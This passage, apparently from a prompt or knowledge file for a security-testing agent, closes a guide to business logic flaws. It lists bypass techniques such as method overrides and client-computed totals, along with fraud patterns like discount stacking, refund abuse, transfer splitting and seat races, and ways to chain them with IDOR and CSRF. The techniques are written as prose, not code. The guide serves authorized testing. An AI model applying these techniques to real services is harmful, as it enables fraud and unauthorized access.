- Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state
</microservices_boundaries>
<multi_tenant_isolation>
- Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs
- Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement
</multi_tenant_isolation>
<bypass_techniques>
- Content-type switching (json/form/multipart) to hit different code paths
- Method alternation (GET performing state change; overrides via X-HTTP-Method-Override)
- Client recomputation: totals, taxes, discounts computed on client and accepted by server
- Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware
</bypass_techniques>
<special_contexts>
<ecommerce>
- Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes
- Modify shipping tier post-quote; abuse returns to keep product and refund
</ecommerce>
<banking_fintech>
- Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies
- Exploit grace periods on holds/authorizations to withdraw again before settlement
</banking_fintech>
<saas_b2b>
- Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks
- Usage metering: report late or duplicate usage to avoid billing or to over-consume
</saas_b2b>
</special_contexts>
<chaining_attacks>
- Business logic + race: duplicate benefits before state updates
- Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs
- Business logic + CSRF: force a victim to complete a sensitive step sequence
</chaining_attacks>
<validation>
1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas).
2. Provide side-by-side evidence for intended vs abused flows with the same principal.
3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views).
4. Quantify impact per action and at scale (unit loss × feasible repetitions).
</validation>
<false_positives>
- Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits)
- Visual-only inconsistencies with no durable or exploitable state change
- Admin-only operations with proper audit and approvals
</false_positives>
<impact>
- Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption)
- Regulatory/contractual violations (billing accuracy, consumer protection)
- Denial of inventory/services to legitimate users through resource exhaustion
- Privilege retention or unauthorized access to premium features
</impact>
<pro_tips>
1. Start from invariants and ledgers, not UI—prove conservation of value breaks.
2. Test with time and concurrency; many bugs only appear under pressure.
3. Recompute totals server-side; never accept client math—flag when you observe otherwise.
4. Treat idempotency and retries as first-class: verify key scope and persistence.
5. Probe background workers and webhooks separately; they often skip auth and rule checks.
6. Validate role/feature gates at the service that mutates state, not only at the edge.
7. Explore end-of-period edges (month-end, trial end, DST) for rounding and window issues.
8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss.
9. Chain with authorization tests (IDOR/Function-level access) to magnify impact.
10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards.
</pro_tips>
<remember>Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse.</remember>
</business_logic_flaws_guide>

Some files were not shown because too many files have changed in this diff Show More